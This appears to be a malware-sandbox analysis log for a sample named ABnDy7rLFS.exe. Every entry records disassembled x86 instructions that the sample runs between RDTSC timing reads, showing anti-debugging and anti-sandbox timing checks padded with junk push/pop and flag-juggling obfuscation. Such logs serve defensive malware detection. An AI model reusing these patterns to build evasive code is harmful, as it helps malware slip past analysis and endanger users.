Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 67C1CA second address: 67C1D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 pushad 0x0000000a push esi 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 67C1D8 second address: 67C1DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 680ACE second address: 680B02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 jnp 00007F0DD07A5D16h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F0DD07A5D1Fh 0x00000015 jmp 00007F0DD07A5D25h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 685D6E second address: 685D74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 68DB01 second address: 68DB2A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F0DD07A5D21h 0x00000008 pop ecx 0x00000009 pushad 0x0000000a jmp 00007F0DD07A5D1Fh 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 68F7C3 second address: 68F7C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 68F7C7 second address: 68F7D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 68F640 second address: 68F649 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 68F649 second address: 68F64F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 68F64F second address: 68F663 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0DD0C38CFEh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 696591 second address: 696597 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 696597 second address: 6965A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F0DD0C38CF6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6A3E51 second address: 6A3E5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F0DD07A5D16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6A3E5B second address: 6A3E83 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0DD0C38CF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0DD0C38D06h 0x00000011 jl 00007F0DD0C38CF6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6A3E83 second address: 6A3EC8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD07A5D27h 0x00000007 jmp 00007F0DD07A5D20h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jnp 00007F0DD07A5D34h 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F0DD07A5D1Eh 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6A3EC8 second address: 6A3ECC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6A8E88 second address: 6A8E8F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6A8D13 second address: 6A8D17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6D40D1 second address: 6D40D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6D40D5 second address: 6D40E5 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0DD0C38CF6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6D40E5 second address: 6D40EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F0DD07A5D16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6D310C second address: 6D3142 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F0DD0C38CFAh 0x0000000b jmp 00007F0DD0C38D04h 0x00000010 push esi 0x00000011 pop esi 0x00000012 popad 0x00000013 pop esi 0x00000014 pushad 0x00000015 jmp 00007F0DD0C38CFAh 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6D3142 second address: 6D3148 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6D33D7 second address: 6D33DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6D3804 second address: 6D380D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6D380D second address: 6D3812 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6D3953 second address: 6D3976 instructions: 0x00000000 rdtsc 0x00000002 je 00007F0DD07A5D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e jmp 00007F0DD07A5D25h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6D3976 second address: 6D397A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6D3D77 second address: 6D3D92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0DD07A5D25h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6D3D92 second address: 6D3D97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6D809E second address: 6D80A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6D80A4 second address: 6D80A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6D8326 second address: 6D832C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6D832C second address: 6D8373 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD0C38D09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e adc dl, 00000037h 0x00000011 push 00000004h 0x00000013 jmp 00007F0DD0C38CFEh 0x00000018 movsx edx, dx 0x0000001b push C15F6302h 0x00000020 push eax 0x00000021 push edx 0x00000022 jns 00007F0DD0C38CF8h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6DAEE6 second address: 6DAEEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6DAEEA second address: 6DAEF4 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0DD0C38CF6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6DAEF4 second address: 6DAEFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5F6462 second address: 5F6467 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D50367 second address: 4D5037C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD07A5D21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D5037C second address: 4D50382 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D50382 second address: 4D503CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD07A5D23h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F0DD07A5D26h 0x00000011 mov ebp, esp 0x00000013 jmp 00007F0DD07A5D20h 0x00000018 mov edx, dword ptr [ebp+0Ch] 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D503CA second address: 4D50414 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F0DD0C38D06h 0x00000008 and ecx, 430CDB58h 0x0000000e jmp 00007F0DD0C38CFBh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 mov ecx, dword ptr [ebp+08h] 0x0000001a pushad 0x0000001b jmp 00007F0DD0C38D04h 0x00000020 push eax 0x00000021 push edx 0x00000022 mov edx, eax 0x00000024 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D70869 second address: 4D708BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop esi 0x00000005 push edi 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F0DD07A5D22h 0x00000010 mov dword ptr [esp], ecx 0x00000013 jmp 00007F0DD07A5D20h 0x00000018 xchg eax, esi 0x00000019 jmp 00007F0DD07A5D20h 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F0DD07A5D1Eh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D708BB second address: 4D708C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D708C2 second address: 4D708F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, esi 0x00000008 pushad 0x00000009 pushfd 0x0000000a jmp 00007F0DD07A5D1Fh 0x0000000f jmp 00007F0DD07A5D23h 0x00000014 popfd 0x00000015 push eax 0x00000016 push edx 0x00000017 mov di, si 0x0000001a rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D708F4 second address: 4D70904 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 lea eax, dword ptr [ebp-04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D70904 second address: 4D70908 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D70908 second address: 4D7090E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D70A98 second address: 4D70AAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0DD07A5D1Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D70AAA second address: 4D70AAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D70AAE second address: 4D6017F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 leave 0x00000009 jmp 00007F0DD07A5D27h 0x0000000e retn 0004h 0x00000011 nop 0x00000012 cmp eax, 00000000h 0x00000015 setne al 0x00000018 jmp 00007F0DD07A5D12h 0x0000001a xor ebx, ebx 0x0000001c test al, 01h 0x0000001e jne 00007F0DD07A5D17h 0x00000020 sub esp, 04h 0x00000023 mov dword ptr [esp], 0000000Dh 0x0000002a call 00007F0DD50E3474h 0x0000002f mov edi, edi 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F0DD07A5D20h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D6017F second address: 4D60185 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D60185 second address: 4D601D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD07A5D1Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F0DD07A5D1Eh 0x00000011 sub ecx, 5A6F6AE8h 0x00000017 jmp 00007F0DD07A5D1Bh 0x0000001c popfd 0x0000001d pushad 0x0000001e mov edi, eax 0x00000020 mov dl, ch 0x00000022 popad 0x00000023 popad 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F0DD07A5D23h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D601D7 second address: 4D601DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D601DD second address: 4D601E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D601E1 second address: 4D6023A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F0DD0C38CFDh 0x00000010 jmp 00007F0DD0C38CFBh 0x00000015 popfd 0x00000016 pushfd 0x00000017 jmp 00007F0DD0C38D08h 0x0000001c and ecx, 3EF2B208h 0x00000022 jmp 00007F0DD0C38CFBh 0x00000027 popfd 0x00000028 popad 0x00000029 mov ebp, esp 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e mov si, 0111h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D6023A second address: 4D6023E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D6023E second address: 4D60248 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D60248 second address: 4D6024C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D6024C second address: 4D60302 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F0DD0C38D08h 0x00000008 add ecx, 21D52798h 0x0000000e jmp 00007F0DD0C38CFBh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 sub esp, 2Ch 0x0000001a pushad 0x0000001b mov eax, 6C1C0B6Bh 0x00000020 pushfd 0x00000021 jmp 00007F0DD0C38D00h 0x00000026 add eax, 3CFC51F8h 0x0000002c jmp 00007F0DD0C38CFBh 0x00000031 popfd 0x00000032 popad 0x00000033 xchg eax, ebx 0x00000034 pushad 0x00000035 pushfd 0x00000036 jmp 00007F0DD0C38D04h 0x0000003b xor ecx, 38482C58h 0x00000041 jmp 00007F0DD0C38CFBh 0x00000046 popfd 0x00000047 popad 0x00000048 push eax 0x00000049 push eax 0x0000004a push edx 0x0000004b pushad 0x0000004c mov di, A834h 0x00000050 pushfd 0x00000051 jmp 00007F0DD0C38CFDh 0x00000056 adc eax, 22D1B7F6h 0x0000005c jmp 00007F0DD0C38D01h 0x00000061 popfd 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D603D3 second address: 4D603D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D603D9 second address: 4D603EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0DD0C38CFEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D603EB second address: 4D603EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D603EF second address: 4D6043E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 inc ebx 0x00000009 pushad 0x0000000a mov eax, edi 0x0000000c pushfd 0x0000000d jmp 00007F0DD0C38D09h 0x00000012 add cx, 82F6h 0x00000017 jmp 00007F0DD0C38D01h 0x0000001c popfd 0x0000001d popad 0x0000001e test al, al 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F0DD0C38CFDh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D6043E second address: 4D60464 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD07A5D21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F0DD07A5F24h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov edx, 2072C8DEh 0x00000017 push ebx 0x00000018 pop eax 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D60464 second address: 4D6047F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0DD0C38D07h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D6051D second address: 4D6052C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD07A5D1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D60588 second address: 4D60659 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD0C38CFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test eax, eax 0x0000000b pushad 0x0000000c mov eax, 6408B8CBh 0x00000011 mov ch, 16h 0x00000013 popad 0x00000014 jg 00007F0E412C6BE0h 0x0000001a jmp 00007F0DD0C38D03h 0x0000001f js 00007F0DD0C38D9Ch 0x00000025 pushad 0x00000026 mov eax, 687A78ABh 0x0000002b push ecx 0x0000002c mov bl, 2Fh 0x0000002e pop eax 0x0000002f popad 0x00000030 cmp dword ptr [ebp-14h], edi 0x00000033 pushad 0x00000034 pushfd 0x00000035 jmp 00007F0DD0C38D05h 0x0000003a or eax, 507D6626h 0x00000040 jmp 00007F0DD0C38D01h 0x00000045 popfd 0x00000046 pushfd 0x00000047 jmp 00007F0DD0C38D00h 0x0000004c adc cx, 9FC8h 0x00000051 jmp 00007F0DD0C38CFBh 0x00000056 popfd 0x00000057 popad 0x00000058 jne 00007F0E412C6B70h 0x0000005e push eax 0x0000005f push edx 0x00000060 pushad 0x00000061 pushfd 0x00000062 jmp 00007F0DD0C38CFBh 0x00000067 sub ax, E60Eh 0x0000006c jmp 00007F0DD0C38D09h 0x00000071 popfd 0x00000072 movzx ecx, bx 0x00000075 popad 0x00000076 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D60659 second address: 4D60683 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD07A5D1Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0DD07A5D27h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D6076D second address: 4D60774 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dh, BBh 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D607FC second address: 4D60008 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0DD07A5D1Fh 0x00000009 sbb ax, 83EEh 0x0000000e jmp 00007F0DD07A5D29h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F0DD07A5D20h 0x0000001a xor cx, F368h 0x0000001f jmp 00007F0DD07A5D1Bh 0x00000024 popfd 0x00000025 popad 0x00000026 pop edx 0x00000027 pop eax 0x00000028 je 00007F0E40E33B18h 0x0000002e xor eax, eax 0x00000030 jmp 00007F0DD077F44Ah 0x00000035 pop esi 0x00000036 pop edi 0x00000037 pop ebx 0x00000038 leave 0x00000039 retn 0004h 0x0000003c nop 0x0000003d xor ebx, ebx 0x0000003f cmp eax, 00000000h 0x00000042 je 00007F0DD07A5E73h 0x00000048 call 00007F0DD50E319Dh 0x0000004d mov edi, edi 0x0000004f push eax 0x00000050 push edx 0x00000051 push eax 0x00000052 push edx 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D60008 second address: 4D6000C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D6000C second address: 4D60024 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD07A5D24h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D60024 second address: 4D600CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD0C38CFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F0DD0C38D06h 0x0000000f push eax 0x00000010 jmp 00007F0DD0C38CFBh 0x00000015 xchg eax, ebp 0x00000016 jmp 00007F0DD0C38D06h 0x0000001b mov ebp, esp 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F0DD0C38CFEh 0x00000024 sub cx, 97E8h 0x00000029 jmp 00007F0DD0C38CFBh 0x0000002e popfd 0x0000002f push eax 0x00000030 pushfd 0x00000031 jmp 00007F0DD0C38CFFh 0x00000036 jmp 00007F0DD0C38D03h 0x0000003b popfd 0x0000003c pop eax 0x0000003d popad 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007F0DD0C38CFEh 0x00000048 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D600CA second address: 4D600CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D600CE second address: 4D600D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D60141 second address: 4D60147 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
